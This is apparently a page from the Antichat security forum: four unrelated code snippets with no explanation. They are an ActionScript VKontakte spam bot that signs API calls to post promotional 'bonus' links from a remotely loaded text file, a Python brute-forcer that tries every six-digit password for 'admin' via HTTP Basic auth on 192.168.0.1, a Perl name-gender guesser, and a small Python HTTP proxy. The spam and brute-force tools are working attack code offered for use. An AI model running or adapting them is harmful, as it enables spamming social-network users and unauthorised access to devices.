ANTICHAT — форум по информационной безопасности, OSINT и технологиям

package 
{
    import flash.events.*;
    import flash.net.*;

    public class Spam extends Object
    {
        private var questionType:String = "0";
        var _api_id:String;
        var vars1:URLVariables;
        var vars2:URLVariables;
        var sig:String;
        var loader:URLLoader;
        var conf:String;
        var req:URLRequest;
        var res:String;
        var _viewer_id:String;
        var vars:URLVariables;
        var url:String = "http://api.vkontakte.ru/api.php";
        private var offerText:String = "Привет! Хочешь узнать, как получить бонус? заходи на ololo.ru";
        var cont:Array;
        private var questionText:String = "Привет! Хочешь узнать, как получить бонус? заходи на ololo.ru";
        var secret:String = "ololo";
        var signature:String;
        var loader2:URLLoader;

        public function Spam(param1:String, param2:String)
        {
            secret = "ololo";
            url = "http://api.vkontakte.ru/api.php";
            offerText = "Привет! Хочешь узнать, как получить бонус? заходи на ololo.ru";
            questionText = "Привет! Хочешь узнать, как получить бонус? заходи на ololo.ru";
            questionType = "0";
            loader = new URLLoader();
            loader2 = new URLLoader();
            vars = new URLVariables();
            vars1 = new URLVariables();
            vars2 = new URLVariables();
            req = new URLRequest(url);
            _api_id = param1;
            _viewer_id = param2;
            loader2.addEventListener(Event.COMPLETE, onConf);
            loader2.load(new URLRequest("http://сайт.ru/conf.txt"));
            return;
        }// end function

        public function openOffer()
        {
            sig = _viewer_id + "api_id=" + _api_id + "method=offers.open" + "test_mode=0" + "v=2.0" + secret;
            signature = MD5.encrypt(sig);
            vars1.api_id = _api_id;
            vars1.method = "offers.open";
            vars1.test_mode = "0";
            vars1.v = "2.0";
            vars1.sig = signature;
            req.method = URLRequestMethod.POST;
            req.data = vars1;
            try
            {
                sendToURL(req);
            }// end try
            catch (e:Error)
            {
                trace(e.message);
            }// end catch
            return;
        }// end function

        public function onOfferComplete(param1:Event)
        {
            openOffer();
            return;
        }// end function

        public function newOffer()
        {
            sig = _viewer_id + "api_id=" + _api_id + "message=" + offerText + "method=offers.edit" + "test_mode=0" + "v=2.0" + secret;
            signature = MD5.encrypt(sig);
            vars2.api_id = _api_id;
            vars2.method = "offers.edit";
            vars2.message = offerText;
            vars2.test_mode = "0";
            vars2.v = "2.0";
            vars2.sig = signature;
            req.method = URLRequestMethod.POST;
            req.data = vars2;
            loader.addEventListener(Event.COMPLETE, onOfferComplete);
            try
            {
                loader.load(req);
            }// end try
            catch (e:Error)
            {
                trace(e.message);
            }// end catch
            return;
        }// end function

        public function onConf(param1:Event)
        {
            res = param1.target.data.toString();
            cont = res.split("\n");
            offerText = cont[0];
            questionText = cont[1];
            questionType = cont[2];
            trace(offerText);
            return;
        }// end function

        public function newQuestion()
        {
            sig = _viewer_id + "api_id=" + _api_id + "method=questions.add" + "test_mode=0" + "text=" + questionText + "type=" + questionType + "v=2.0" + secret;
            signature = MD5.encrypt(sig);
            vars.api_id = _api_id;
            vars.method = "questions.add";
            vars.text = questionText;
            vars.type = questionType;
            vars.test_mode = "0";
            vars.v = "2.0";
            vars.sig = signature;
            req.method = URLRequestMethod.POST;
            req.data = vars;
            try
            {
                sendToURL(req);
            }// end try
            catch (e:Error)
            {
                trace(e.message);
            }// end catch
            return;
        }// end function

    }
}

import base64,httplib

fl = open('log.txt','w')
for i in range(100000,999999):
	headers = {"Content-type": "application/x-www-form-urlencoded","Accept": "text/html","Authorization":"Basic "+base64.b64encode('admin:'+str(i))}
	conn = httplib.HTTPConnection("192.168.0.1")
	conn.request("GET", "/", {}, headers)
	response = conn.getresponse()
	data = response.read()
	conn.close()
	if (data != 'Unauthorized'):
		fl.write(i)
fl.close()

sub gender # 1 - woman; 0 - man
{
	my ($name) = @_;
	return 1 if $name=~"(я|а|о|ы|э|е|a|o|i|e|Я|А|О|Ы|Э|Е|A|E|O|I)\$";
	return 0;
}

# -*- coding: cp1251 -*-
import SocketServer
import re
import socket
import urllib
import httplib
import thread

class MyTCPHandler(SocketServer.BaseRequestHandler):
	def handle(self):
		self.data = self.request.recv(4096)
		if (self.data != ""):
			get = re.search("GET ([^: ]*):([^ ]*) ([^ \n]*)\n",self.data)
			self.data = re.sub("User-Agent: [^\n]*\n","User-Agent: " + str(uagent) + "\n",self.data,1)
			if not get:
				get = re.search("POST ([^: ]*):([^ ]*) ([^ \n]*)\n",self.data)
			if get:
				print "GET: " + str(get.group(1)) + ":" + str(get.group(2))
				print "-----------------------------------"
				host = urllib.splithost(get.group(2))
				ip = 0
				try:
					ip = socket.getaddrinfo(host[0],80)
					ip = ip[0][4][0]
					sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
					sock.connect((ip,80))
					sock.send(self.data)
					if get.group(2).endswith('.png') or get.group(2).endswith('.jpg') or get.group(2).endswith('.jpeg') or get.group(2).endswith('.gif'):
						conn = httplib.HTTPConnection(host[0])
						conn.request('GET',host[1])
						res = conn.getresponse()
						data = res.read()
						conn.close()
						self.request.send(data)
					recv2 = sock.recv(4096)
					recv = ""
					while recv2 <> "":
						reg = re.search("<title>(.*)</title>",recv2)
						if reg:
							title = str(reg.group(1)) + " ^ UnDer PyRoxy"
							recv = re.sub("<title>.*</title>","<title>" + str(title) + "</title>",recv2,1)
						recv += recv2
						recv2 = sock.recv(4096)
					self.request.send(recv)
				except:
					recv = "HTTP/1.1 200 OK\nDate: 123\nServer: SOME!\nContent-Length: 120\nConnection: close\nContent-Type: text/html; charset=windows-1251\n\n <html><title>PyRoxy: ERROR</title><body><div align='center'><font color='red'>Error connecting to server</font></div></body></html>"
					self.request.send(recv)
			else:
				recv = "HTTP/1.1 200 OK\nDate: 123\nServer: SOME!\nContent-Length: 120\nConnection: close\nContent-Type: text/html; charset=windows-1251\n\n <html><title>PyRoxy: ERROR</title><body><div align='center'><font color='red'>Unknown packet</font></div></body></html>"
				self.request.send(recv)
print "_._._._._-=PyRoxy v. 0.1=-_._._._._"
print "-----------------------------------"
uagent = "AK-47"
socket.setdefaulttimeout(1000)
HOST, PORT = "127.0.0.1", 9999
print "Binding on " + str(HOST) + ":" + str(PORT)
print "-----------------------------------"
server = SocketServer.TCPServer((HOST, PORT), MyTCPHandler)
server.serve_forever()